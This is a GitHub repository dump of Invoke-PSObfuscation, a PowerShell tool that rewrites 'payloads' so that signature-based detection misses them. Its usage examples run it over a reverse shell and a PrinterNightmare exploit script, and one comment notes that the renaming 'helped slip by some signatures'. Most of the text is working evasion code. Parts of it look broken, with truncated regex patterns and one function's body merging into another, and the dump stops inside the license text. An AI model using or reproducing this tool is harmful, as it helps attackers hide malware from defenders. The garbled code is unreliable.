Repository: gh0x0st/Invoke-PSObfuscation Branch: main Commit: 6cf162ae616a Files: 8 Total size: 128.2 KB Directory structure: gitextract_459dvg_p/ ├── Get-DownloadCradle/ │ └── README.md ├── Get-ReverseShell/ │ └── README.md ├── Get-Shellcode/ │ └── README.md ├── Invoke-PSObfuscation.ps1 ├── LICENSE ├── launchers.md ├── layer-0-obfuscation.md └── readme.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: Get-DownloadCradle/README.md ================================================ https://github.com/gh0x0st/Get-DownloadCradle ================================================ FILE: Get-ReverseShell/README.md ================================================ https://github.com/gh0x0st/Get-ReverseShell ================================================ FILE: Get-Shellcode/README.md ================================================ https://github.com/gh0x0st/Get-Shellcode ================================================ FILE: Invoke-PSObfuscation.ps1 ================================================ Function Invoke-PSObfuscation() { <# .SYNOPSIS Transforms PowerShell scripts into something obscure, unclear, or unintelligible. .DESCRIPTION Where most obfuscation tools tend to add layers to encapsulate standing code, such as base64 or compression, they tend to leave the intended payload intact, which essentially introduces chokepoints. Invoke-PSObfuscation focuses on replacing the existing components of your code, or layer 0, with alternative values. .PARAMETER Path A user provided PowerShell payload via a flat file. .PARAMETER All The all switch is used to engage every supported component to obfuscate a given payload. This action is very intrusive and could result in your payload being broken. There should be no issues when using this with the vanilla reverse shell. However, it's recommended to target specific components with more advanced payloads. Keep in mind that some of the generators introduced in this script may even confuse your ISE so be sure to test properly. .PARAMETER Aliases The aliases switch is used to instruct the function to obfuscate aliases. .PARAMETER Cmdlets The cmdlets switch is used to instruct the function to obfuscate cmdlets. .PARAMETER Comments The comments switch is used to instruct the function to remove all comments. .PARAMETER Integers The integers switch is used to instruct the function to obfuscate integers. .PARAMETER Methods The methods switch is used to instruct the function to obfuscate method invocations. .PARAMETER NamespaceClasses The namespaceclasses switch is used to instruct the function to obfuscate namespace classes. .PARAMETER Pipes The pipes switch is used to instruct the function to obfuscate pipes. .PARAMETER PipelineVariables The pipeline variables switch is used to instruct the function to obfuscate pipeline variables. .PARAMETER ShowChanges The ShowChanges switch is used to instruct the script to display the raw and obfuscated values on the screen. .PARAMETER Strings The strings switch is used to instruct the function to obfuscate prompt strings. .PARAMETER Variables The variables switch is used to instruct the function to obfuscate variables. .EXAMPLE PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All .EXAMPLE PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1 .OUTPUTS System.String, System.String .NOTES Additional information about the function. #> [CmdletBinding()] [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Path, [Parameter(Mandatory = $false, Position = 2)] [System.String]$OutFile = (Join-Path -Path $(Get-Location) -ChildPath 'obfuscated.ps1'), [switch]$All, [switch]$Aliases, [switch]$Cmdlets, [switch]$Comments, [switch]$Methods, [switch]$Integers, [switch]$NamespaceClasses, [switch]$Pipes, [switch]$PipelineVariables, [switch]$Strings, [switch]$Variables, [switch]$ShowChanges ) Begin { Write-Output '' Write-Output ' >> Layer 0 Obfuscation' Write-Output ' >> https://github.com/gh0x0st' Write-Output '' $Content = [System.IO.File]::ReadAllLines( ( Resolve-Path $Path )) } Process { # Check if we are using at least one parameter if (!($All -or $Aliases -or $Comments -or $Methods -or $Strings -or $Variables -or $Pipes -or $Cmdlets -or $Integers -or $NamespaceClasses -or $PipelineVariables -or $Listener) ) { Write-Output '[!] You must include at least one switch parameter' Write-Output '' break } else { $Obfuscated = $Content | Out-String } # Are we running everything? if ($All) { $Aliases = $true $Cmdlets = $true $Comments = $true $Integers = $true $Methods = $true $NamespaceClasses = $true $Pipes = $true $PipelineVariables = $true $Strings = $true $Variables = $true } # Obfuscate the things with the code if ($Aliases) { Write-Output '[*] Resolving aliases' $Obfuscated = Resolve-Aliases -Payload $Obfuscated } if ($Integers) { Write-Output "[*] Obfuscating integers" $Obfuscated = Find-Integer -Payload $Obfuscated } if ($Strings) { Write-Output '[*] Obfuscating strings' $Obfuscated = Find-String -Payload $Obfuscated } if ($NamespaceClasses) { Write-Output "[*] Obfuscating namespace classes" $Obfuscated = Find-NameSpace -Payload $Obfuscated } if ($Cmdlets) { Write-Output "[*] Obfuscating cmdlets" $Obfuscated = Find-Cmdlet -Payload $Obfuscated } if ($Pipes) { Write-Output "[*] Obfuscating pipes" $Obfuscated = Find-Pipe -Payload $Obfuscated } if ($PipelineVariables) { Write-Output "[*] Obfuscating pipeline variables" $Obfuscated = Find-PipelineVariable -Payload $Obfuscated } if ($Variables) { Write-Output "[*] Obfuscating variables" $Obfuscated = Find-Variable -Payload $Obfuscated } if ($Methods) { Write-Output '[*] Obfuscating method invocations' $Obfuscated = Find-Method -Payload $Obfuscated } if ($Comments) { Write-Output "[*] Removing comments" $Obfuscated = Remove-Comments -Payload $Obfuscated } } End { $Obfuscated | Out-File $Outfile Write-Output "[*] Writing payload to $Outfile" Write-Output '[*] Done' Write-Output "" } } Function New-EncodedBeacon() { <# .SYNOPSIS Genenerates an encoded beacon value from a given value. .DESCRIPTION Genenerates an encoded beacon to enable us to obfuscate each instance of a non-unqiue value. .PARAMETER Value The Value parameter is used to instruct the function which value needs to be converted into a beacon. If no value is provided, then the function will insert a timestamp. .EXAMPLE PS C:\> New-EncodedBeacon -Value 'value' .NOTES Additional information about the function. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $false, Position = 0)] [System.String]$Value ) Begin { $Start = " Remove-Comments -Payload $value1 .NOTES Additional information about the function. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.Array]$Payload ) Begin { [regex]$SLCPattern = '(?m)(?).*$' [regex]$MLCPattern = '(?ms)<#.*?#>' } Process { # Single Line Comments $Payload = $Payload -replace $SLCPattern # Multi-Line Block Comments $Payload = $Payload -replace $MLCPattern } End { return $Payload } } Function Resolve-Aliases() { <# .SYNOPSIS Resolves aliases to their proper name. .DESCRIPTION Resolves aliases within the payload to their proper name. The supported aliases are hardcoded into the function. .PARAMETER Payload The payload containing the PowerShell script to be converted. .EXAMPLE PS C:\> Resolve-Aliases -Payload 'value1' .NOTES Additional information about the function. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Payload ) Begin { $PossibleAliases = Get-Alias $Aliases = [System.Management.Automation.PSParser]::Tokenize($Payload,[ref]$null) | Where-Object {$_.Type -eq 'Command' -and $_.Content -in $PossibleAliases.Name} | Select-Object -ExpandProperty Content } Process { ForEach ($A in $Aliases) { $ResolvedCommand = $PossibleAliases | Where-Object {$_.Name -eq "$A"} | Select -ExpandProperty ResolvedCommand | Select -ExpandProperty Name $Payload = $Payload -replace "\b$A\b", $ResolvedCommand # Show Changes if ($ShowChanges) { Write-Host " $A >> $ResolvedCommand" } } } End { return $Payload } } function Get-OperatorEncapsulation() { <# .SYNOPSIS Encapsulates a given value within up to 3 different operating groupings. .DESCRIPTION Encapsulates a given value within up to 3 different operating groupings by selecting a random number between 0 and 3. If the value is 0 nothing will change and the value is passed in it's original form. Otherwise it will encapsulted between grouping expression operator () or the subexpression operator $() .PARAMETER Value The value to be potentionally encapsulated within powershell operators. .EXAMPLE PS C:\> Get-OperatorEncapsulation -Value 'value' .NOTES Additional information about the function. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Value ) Begin { $maxIterations = 1..3 | Get-Random $NewValue = $Value } Process { $iterations = 1 while ($iterations -le $maxIterations) { # Subexpression operator if ((1..2 | Get-Random) -eq 1) { $newValue = '$(' + $newValue + ')' } # Grouping Expression operator else { $newValue = '(' + $newValue + ')' } $iterations++ } } End { return $NewValue } } Function Get-ObfuscatedVariable() { <# .SYNOPSIS Genenerates a random variable name. .DESCRIPTION Generates a random variable name using a randomly selected algorithm. .EXAMPLE PS C:\> Get-ObfuscatedVariable .NOTES If you are reading this then you have noticed that generators 1-3 result in the same thing. The idea here is to inspire you by showing you there is always more than one way to generate an intended value or logic. #> [OutputType([System.String])] param () Begin { $Picker = 1..3 | Get-Random If ($ShowChanges) { Write-Host -NoNewline " Generator $($Picker) >> " } } Process { Switch ($Picker) { 1 { # Generates a random variable name by selecting at random, up to 25 numbers from the ASCII set (0-9, A-Z, a-z) and concatenating them together with their associated letter and the $ symbol to form a proper variable name. $NewValue = '$' + (((48..57) + (65..90) + (97..122) | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { [char]$_ }) -join '') } 2 { # Generates a random variable name by selecting at random, up to 25 numbers from the given alpha-numerical set and concatenating them together the $ symbol to form a proper variable name. $NewValue = '$' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') } 3 { # Generates a randomized array of an alpha-numerical set, then selects up to 25 randomly selected characters based on their position in the array $AlphaNum = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Sort-Object { Get-Random } $NewValue = '$' + ((0..(Get-Random -Minimum 1 -Maximum 25) | ForEach-Object { $AlphaNum[$(Get-Random -Minimum 0 -Maximum $AlphaNum.Count)] } ) -join '') } } } End { return $NewValue } } function Find-Variable() { <# .SYNOPSIS Identifies and replaces variables within a given payload. .DESCRIPTION Peforms a regex search for all variables within the payload and replaces each instance with a new value. .PARAMETER Payload The payload containing the PowerShell script to be converted. .EXAMPLE PS C:\> Find-Variable -Payload 'value1' .NOTES This function replaces each instance with a unique value across the board to ensure integrity with variable usage within the payload. Yes, I know this is ugly to look at. This is a bit more of a pain when dealing with parameters from custom functions + variables. I initially ignored the variables that were also parameters from forementioned functions but found it helped slip by some signatures. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Payload ) Begin { $Pattern = '(?' } | Select -ExpandProperty InputObject } Process { Try { $Occurrences = Compare-Object -ReferenceObject $Parameters -DifferenceObject $Variables -IncludeEqual # Parameters $Occurrences | ? { $_.SideIndicator -eq '==' } | % { $NewValue = Get-ObfuscatedVariable # Variable Declaration of Parameter $ToReplace = $($_.InputObject) $Pattern = '\{0}\b' -f $ToReplace $Payload = $Payload -replace $Pattern, $NewValue # Parameter Declaration $ToReplace = $($_.InputObject) -replace '\$', '-' $ReplaceWith = $($NewValue -replace '\$', '-') $Pattern = '{0}\b' -f $ToReplace $Payload = $Payload -replace $Pattern, $ReplaceWith # Show Changes if ($ShowChanges) { Write-Host "$ToReplace >> $ReplaceWith" } else { Write-Host "[-] $ToReplace is now $ReplaceWith" } } # Variables $Occurrences | ? { $_.SideIndicator -eq '=>' } | % { $NewValue = Get-ObfuscatedVariable $ToReplace = $($_.InputObject) $Pattern = '\{0}\b' -f $ToReplace $Payload = $Payload -replace $Pattern, $NewValue # Show Changes if ($ShowChanges) { Write-Host "$($_.InputObject) >> $NewValue" } } } Catch { Write-Host "[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping" } } End { return $Payload } } function Get-ObfuscatedCmdlet() { <# .SYNOPSIS Genenerates a new variation of the derived cmdlet. .DESCRIPTION Genenerates a new variation of the derived cmdlet variation using a randomly selected algorithm. .PARAMETER Cmdlet The cmdlet that will be replaced within the given payload. .EXAMPLE PS C:\> Get-ObfuscatedCmdlet -Cmdlet 'value' .NOTES Additional information about the function. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Cmdlet ) Begin { $Picker = 1..2 | Get-Random If ($ShowChanges) { Write-Host -NoNewline " Generator $($Picker) >> " } } Process { Switch ($Picker) { 1 { # All valid characters in a cmdlet name $Valid = ('-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Sort-Object { Get-Random }) -join '' $ReplaceWith = $Valid.ToCharArray() $ExtractedCharArray = @() $CmdletCharArray = $Cmdlet.ToCharArray() # Loop through each character within each command ForEach ($Char in $CmdletCharArray) { If ($Char -in $ReplaceWith) { $ExtractedCharArray += $([array]::IndexOf($ReplaceWith, $Char)) } } # Final Value $NewValue = "& ((""$Valid"")[$($ExtractedCharArray -join ',')] -join '')" } 2 { $CharArrayString = ($Cmdlet.ToCharArray() | ForEach-Object { [int][char]$_ }) -join "," $NewValue = '& ([string]::join('''', ( () |%{ ( [char][int] $_)})) | % {$_})' -replace '', $CharArrayString } } } End { return $NewValue } } function Find-Cmdlet() { <# .SYNOPSIS Identifies and replaces cmdlets within a given payload. .DESCRIPTION Peforms a regex search for all cmdlets within the payload and replaces each cmdlet instance with a new value. .PARAMETER Payload The payload containing the powershell script to be converted .EXAMPLE PS C:\> Find-Cmdlet -Payload 'Value1' .NOTES This replaces each instance with a unique value by inserting unique beacon values that get replaced. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Payload ) Begin { $PossibleCmdlets = Get-Command | Where-Object { $_.name -like "*-*" } | Select-Object -ExpandProperty Name $Occurrences = [System.Management.Automation.PSParser]::Tokenize($Payload,[ref]$null) | Where-Object {$_.Type -eq 'Command' -and $_.Content -in $PossibleCmdlets} | Select-Object -ExpandProperty Content } Process { try { # For each occurence, replace it with a beacon value $Occurrences | ForEach-Object { $Beacon = New-EncodedBeacon -Value $_ [regex]$Pattern = "(?)" $Payload = $Pattern.replace($Payload, $Beacon) } # For each occurence, replace it with an obfuscated value (($Payload | Select-String '' -AllMatches)).Matches.Value | ForEach-Object { $Decoded = $_ -replace '' -replace '%' $NewValue = Get-ObfuscatedCmdlet -cmdlet $Decoded $Payload = $Payload.Replace("$_", $NewValue, 1) # Show Changes if ($ShowChanges) { Write-Host "$Decoded >> $NewValue" } } } Catch { Write-Host "[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping" } } End { return $Payload } } function Get-ObfuscatedPipe() { <# .SYNOPSIS Genenerates a new pipe variation. .DESCRIPTION Generates a random pipe variation name using a randomly selected algorithm. .EXAMPLE PS C:\> Get-ObfuscatedPipe .NOTES Additional information about the function. #> [OutputType([System.String])] param () Begin { $Picker = 1..11 | Get-Random If ($ShowChanges) { Write-Host -NoNewline " Generator $($Picker) >> " } } Process { Switch ($Picker) { 1 { $NewValue = '|%{$_}|' } 2 { $NewValue = '|%{;$_}|' } 3 { $NewValue = '|%{;$_;}|' } 4 { $NewValue = '|<##>%{$_}<##>|' } 5 { $NewValue = '|<##>%{$_}|' } 6 { $NewValue = '|<##>ForEach-Object{$_}<##>|' } 7 { $NewValue = '|<##>ForEach-Object{$_}|' } 8 { $NewValue = '|%{$_}|ForEach-Object{$_}|' } 9 { $NewValue = '|ForEach-Object{$_}|%{$_}|' } 10 { $NewValue = '|ForEach-Object{$_}|' } 11 { $NewValue = '|ForEach-Object{$_}|ForEach-Object{$_}|' } } } End { return $NewValue } } function Find-Pipe() { <# .SYNOPSIS Identifies and replaces pipes within a given payload. .DESCRIPTION Peforms a regex search for all pipes (|) within the payload and replaces each instance with a new value. .PARAMETER Payload The payload containing the PowerShell script to be converted. .EXAMPLE PS C:\> Find-Pipe -Payload 'value1' .NOTES This replaces each instance with a unique value by inserting unique beacon values that get replaced. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Payload ) Begin { $Occurrences = ($Payload | Select-String "\|" -AllMatches).Matches.Value } Process { try { # For each occurence, replace it with a beacon value $Occurrences | ForEach-Object { $Beacon = New-EncodedBeacon -Value $_ [regex]$Pattern = "(?)" $Payload = $Pattern.replace($Payload, $Beacon, 1) } # For each occurence, replace it with an obfuscated value (($Payload | Select-String '' -AllMatches)).Matches.Value | ForEach-Object { $Decoded = $_ -replace '' -replace '%' $NewValue = Get-ObfuscatedPipe $Payload = $Payload.Replace("$_", $NewValue, 1) # Show Changes if ($ShowChanges) { Write-Host "$Decoded >> $NewValue" } } } Catch { Write-Host "[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping" } } End { return $Payload } } function Get-ObfuscatedNamespace() { <# .SYNOPSIS Genenerates a new namespace class name variation. .DESCRIPTION Genenerates a new namespace class name variation using a randomly selected algorithm. .PARAMETER NamespaceClass The namespace class that will be replaced within the given payload. .EXAMPLE PS C:\> Get-ObfuscatedNamespace -NamespaceClass 'value' .NOTES Additional information about the function. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$NamespaceClass ) Begin { $Picker = 1..2 | Get-Random If ($ShowChanges) { Write-Host -NoNewline " Generator $($Picker) >> " } } Process { Switch ($Picker) { 1 { $CharArrayString = ($NamespaceClass.ToCharArray() | ForEach-Object { [int][char]$_ }) -join "," $NewValue = '([string]::join('''', ( () |%{ ( [char][int] $_)})) | % {$_})' -replace '', $CharArrayString } 2 { $Chars = ([int[]][char[]]$NamespaceClass | ForEach-Object { $OrigChar = $_ $Random = 1..122 | Get-Random $Iteration = (1..3 | get-random) if ($Iteration -eq 1) { "[char]($Random+$OrigChar-$Random)" } elseif (($Iteration -eq 2)) { "[char]($Random*$OrigChar/$Random)" } elseif (($Iteration -eq 3)) { "[char](0+$OrigChar-0)" } }) -join '+' $NewValue = '$()' -replace '', $Chars } } } End { return $NewValue } } function Find-Namespace() { <# .SYNOPSIS Identifies and replaces namespace class names within a given payload. .DESCRIPTION Peforms a regex search for the defined set of namespace class names within the payload and replaces each instance with a new value. .PARAMETER Payload The payload containing the PowerShell script to be converted. .EXAMPLE PS C:\> Find-Namespace -Payload 'value1' .NOTES This replaces each instance with a unique value by inserting unique beacon values that get replaced. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Payload ) Begin { $Pattern = '(?)" $Payload = $Pattern.replace($Payload, $Beacon, 1) } # For each occurence, replace it with an obfuscated value (($Payload | Select-String '' -AllMatches)).Matches.Value | ForEach-Object { $Decoded = $_ -replace '' -replace '%' $NewValue = Get-ObfuscatedNameSpace -NamespaceClass $Decoded $Payload = $Payload.Replace("$_", $NewValue, 1) # Show Changes if ($ShowChanges) { Write-Host "$Decoded >> $NewValue" } } } Catch { Write-Host "[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping" } } End { return $Payload } } Function Get-ObfuscatedString { <# .SYNOPSIS Genenerates a new variation of the sendback prompts .DESCRIPTION Genenerates a new variation of the sendback strings using a randomly selected algorithm. .PARAMETER String The string that will be replaced within the given payload. .EXAMPLE PS C:\> Get-ObfuscatedString -String 'value1' .NOTES Additional information about the function. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$String ) Begin { $Picker = 1..3 | Get-Random If ($ShowChanges) { Write-Host -NoNewline " Generator $($Picker) >> " } $String = $String -replace '"' } Process { Switch ($Picker) { 1 { $CharArrayString = ($String.ToCharArray() | ForEach-Object { [int][char]$_ }) -join "," $NewValue = '([string]::join('''', ( () |%{ ( [char][int] $_)})) | % {$_})' -replace '', $CharArrayString } 2 { $Chars = ([int[]][char[]]$String | ForEach-Object { $OrigChar = $_ $Random = 1..122 | Get-Random $Iteration = (1..3 | get-random) if ($Iteration -eq 1) { "[char]($Random+$OrigChar-$Random)" } elseif (($Iteration -eq 2)) { "[char]($Random*$OrigChar/$Random)" } elseif (($Iteration -eq 3)) { "[char](0+$OrigChar-0)" } }) -join '+' $NewValue = '$()' -replace '', $Chars } 3 { $NewValue = ((($String -replace '''') -split '') -join "'+'") $NewValue = $NewValue.Substring(2, $NewValue.Length - 4) $NewValue = Get-OperatorEncapsulation -Value $NewValue } } } End { return $NewValue } } function Find-String() { <# .SYNOPSIS Identifies and replaces the sendback prompt string values. .DESCRIPTION Peforms a regex search for the defined set expected sendback prompt values within the payload and replaces each instance with a new value. .PARAMETER Payload The payload containing the PowerShell script to be converted .EXAMPLE PS C:\> Find-String -Payload 'Value1' .NOTES This replaces each instance with a unique value by inserting unique beacon values that get replaced. This component can be quite trick to obfuscate through scripting magic with advanced payloads. I want to improve this process down the road. #> Param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Payload ) Begin { $Occurrences = (($Payload | Select-String '(["''])(?:(?=(\\?))\2.)*?\1' -AllMatches)).Matches.Value } Process { Try { # For each occurence, replace it with a beacon value $Occurrences | ForEach-Object { $Beacon = New-EncodedBeacon -Value ($_ -replace '"') [regex]$Pattern = "(?)" $Payload = $Pattern.replace($Payload, $Beacon, 1) } # For each occurence, replace it with an obfuscated value (($Payload | Select-String '' -AllMatches)).Matches.Value | ForEach-Object { $Decoded = $_ -replace '' -replace '%' $NewValue = Get-ObfuscatedString -String $Decoded $Payload = $Payload.Replace("$_", $NewValue, 1) # Show Changes if ($ShowChanges) { Write-Host "$Decoded >> $NewValue" } } } Catch { Write-Host "[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping" } } End { return $Payload } } function Get-ObfuscatedPipelineVariable() { <# .SYNOPSIS Genenerates a new pipeline object variable variation. .DESCRIPTION Generates a random pipe variation using a randomly selected algorithm. .EXAMPLE PS C:\> Get-ObfuscatedPipelineVariable .NOTES Additional information about the function. #> [OutputType([System.String])] param () Begin { $Picker = 1..12 | Get-Random If ($ShowChanges) { Write-Host -NoNewline " Generator $($Picker) >> " } } Process { Switch ($Picker) { 1 { $NewValue = '<##>$_' } 2 { $NewValue = '$_<##>' } 3 { $NewValue = '<##>$_<##>' } 4 { $NewValue = '<##>$($_)' } 5 { $NewValue = '$($_)<##>' } 6 { $NewValue = '<##>$($_)<##>' } 7 { $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>') $NewValue = '<#1#>$_' -replace '<#1#>', $Random1 } 8 { $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>') $NewValue = '$_<#1#>' -replace '<#1#>', $Random1 } 9 { $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>') $Random2 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>') $NewValue = '<#1#>$_<#2#>' -replace '<#1#>', $Random1 -replace '<#2#>', $Random2 } 10 { $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>') $NewValue = '<#1#>$($_)' -replace '<#1#>', $Random1 } 11 { $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>') $NewValue = '$($_)<#1#>' -replace '<#1#>', $Random1 } 12 { $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>') $Random2 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>') $NewValue = '<#1#>$($_)<#2#>' -replace '<#1#>', $Random1 -replace '<#2#>', $Random2 } } } End { return $NewValue } } function Find-PipelineVariable() { <# .SYNOPSIS Identifies and replaces pipeline object variables. .DESCRIPTION Peforms a regex search for all pipeline object variables ($_) within the payload and replaces each instance with a new value. This does not replace instances where members of objects are being called ($_.) .PARAMETER Payload The payload containing the PowerShell script to be converted .EXAMPLE PS C:\> Find-PipelineVariable -Payload 'Value1' .NOTES This replaces each instance with a unique value by inserting unique beacon values that get replaced. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Payload ) Begin { $Occurrences = ($Payload | Select-String '\$_(?!\.)' -AllMatches).Matches.Count } Process { Try { # For each occurence, replace it with a beacon value 1..$Occurrences | ForEach-Object { [regex]$Pattern = '\$_(?!\.)' $Payload = $Pattern.replace($Payload, "", 1) } # For each occurence, replace it with an obfuscated value 1..$Occurrences | ForEach-Object { $NewValue = Get-ObfuscatedPipelineVariable $Payload = $Payload.Replace("", $NewValue) # Show Changes if ($ShowChanges) { Write-Host '$_ >> ' $NewValue } } } Catch { Write-Host "[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping" } } End { return $Payload } } function Find-Integer() { <# .SYNOPSIS Identifies and replaces integers within the payload. .DESCRIPTION Peforms a regex search for all integers ($_) within the payload and replaces each instance with a new value. This does not replace instances of 2>&1, where integers exist in variable names or ip addresses. .PARAMETER Payload The payload containing the PowerShell script to be converted .EXAMPLE PS C:\> Find-Integer -Payload 'Value1' .NOTES This replaces each instance with a unique value by inserting unique beacon values that get replaced. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Payload ) Begin { $Occurrences = [System.Management.Automation.PSParser]::Tokenize($Payload,[ref]$null) | Where-Object {$_.Type -eq 'Number' -and $_.content -ne 0} | Select-Object -ExpandProperty Content } Process { Try { # For each occurence, replace it with a beacon value $Occurrences | ForEach-Object { $Beacon = New-EncodedBeacon -Value $_ [regex]$Pattern = "(?' -AllMatches)).Matches.Value | ForEach-Object { $Decoded = $_ -replace '' -replace '%' $NewValue = Get-ObfuscatedInteger -Integer $Decoded $Payload = $Payload.Replace("$_", $NewValue, 1) # Show Changes if ($ShowChanges) { Write-Host "$Decoded >> $NewValue" } } } Catch { Write-Host "[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping" } } End { return $Payload } } Function Get-ObfuscatedInteger() { <# .SYNOPSIS Genenerates a new integer variation. .DESCRIPTION Genenerates a new integer variation using a randomly selected algorithm. .PARAMETER Integer The integer that will be replaced within the given payload. .EXAMPLE PS C:\> Get-ObfuscatedInteger -Integer 'value' .NOTES Additional information about the function. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Integer ) Begin { $Picker = 1..2 | Get-Random If ($ShowChanges) { Write-Host -NoNewline " Generator $($Picker) >> " } } Process { Switch ($Picker) { 1 { $NewValue = Get-OperatorEncapsulation -Value $Integer } 2 { $NewValue = $Integer (1..(1..10 | Get-Random) | ForEach-Object { # Plus or Minus switch ((1..2 | Get-Random)) { 1 { $Operator = '+' } 2 { $Operator = '-' } } # Left or Right switch ((1..2 | Get-Random)) { 1 { $NewValue = "0$Operator$NewValue" } 2 { $NewValue = "$NewValue$Operator0" } } } ) # Ensure we do not create negative values if ($NewValue -like "*0-$Integer*" ) { switch ((1..2 | Get-Random)) { 1 { $NewValue = '$' + "($NewValue+$Integer+$Integer)" } 2 { $NewValue = '$' + "($Integer+$Integer+$NewValue)" } } } else { $NewValue = '$' + "($NewValue)" } } } } End { return $NewValue } } function Find-Method() { <# .SYNOPSIS Identifies and replaces method invocations. .DESCRIPTION Peforms a regex search for any method invocations within the payload and replaces each instance with a new value. .PARAMETER Payload The payload containing the PowerShell script to be converted .EXAMPLE PS C:\> Find-Method -Payload 'Value1' .NOTES This replaces each instance with a unique value by inserting unique beacon values that get replaced. #> Param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Payload ) Begin { $Occurrences = (($Payload | Select-String '(?)" $Payload = $Pattern.replace($Payload, $Beacon, 1) } # For each occurence, replace it with an obfuscated value (($Payload | Select-String '' -AllMatches)).Matches.Value | ForEach-Object { $Decoded = $_ -replace '' -replace '%' $NewValue = Get-ObfuscatedMethod -Method $Decoded $Payload = $Payload.Replace("$_", $NewValue, 1) # Show Changes if ($ShowChanges) { #Write-Host "$Decoded >> $NewValue" Write-Host "$Decoded >> $NewValue" } } } Catch { Write-Host "[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping" } } End { return $Payload } } function Get-ObfuscatedMethod() { <# .SYNOPSIS Genenerates a new variation of the derived method. .DESCRIPTION Genenerates a new variation of the derived method variation using a randomly selected algorithm. .PARAMETER method The method that will be replaced within the given payload. .EXAMPLE PS C:\> Get-ObfuscatedMethod -Method 'value' .NOTES Additional information about the function. #> [OutputType([System.String])] param ( [Parameter(Mandatory = $true, Position = 0)] [System.String]$Method ) Begin { $Picker = 1..2 | Get-Random If ($ShowChanges) { Write-Host -NoNewline " Generator $($Picker) >> " } } Process { Switch ($Picker) { 1 { # Create string array $CharArrayString = ($Method.ToCharArray() | ForEach-Object { [int][char]$_ }) -join "," $NewValue = $(Get-ObfuscatedCmdlet -Cmdlet 'invoke-expression') + '([string]::join('''', ( () |%{ ( [char][int] $_)})) | % {$_})' -replace '', $CharArrayString $NewValue = Get-OperatorEncapsulation -Value $NewValue } 2 { $NewValue = Get-OperatorEncapsulation -Value $Method } } } end { return $NewValue } } ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the 